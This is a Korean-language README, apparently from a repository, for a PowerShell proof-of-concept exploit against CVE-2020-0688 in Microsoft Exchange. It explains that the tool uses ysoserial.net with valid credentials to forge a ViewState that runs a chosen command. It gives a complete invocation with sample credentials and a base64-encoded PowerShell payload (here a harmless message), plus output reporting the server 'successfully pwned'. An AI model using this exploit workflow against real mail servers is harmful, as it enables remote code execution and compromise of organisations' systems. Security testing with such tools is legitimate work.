
PowerShell로 작성된 Forgot2kEyXCHANGE (CVE-2020-0688)용 PoC
PowerShell로 작성된 Forgot2kEyXCHANGE (CVE-2020-0688) PoC
이 PoC는 유효한 사용자 이름과 비밀번호가 필요합니다.
이 PoC는 ysoserial.net을 사용하여 -Command 매개변수에 지정한 명령이 포함된 새 ViewState를 생성합니다. 시스템에 설치되어 있지 않다면 여기에서 다운로드하세요.
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !
이슈를 열거나 기여하고 풀 리퀘스트를 제출해 주세요. 트위터(@JustinPerdok)로 저를 호출할 수도 있습니다.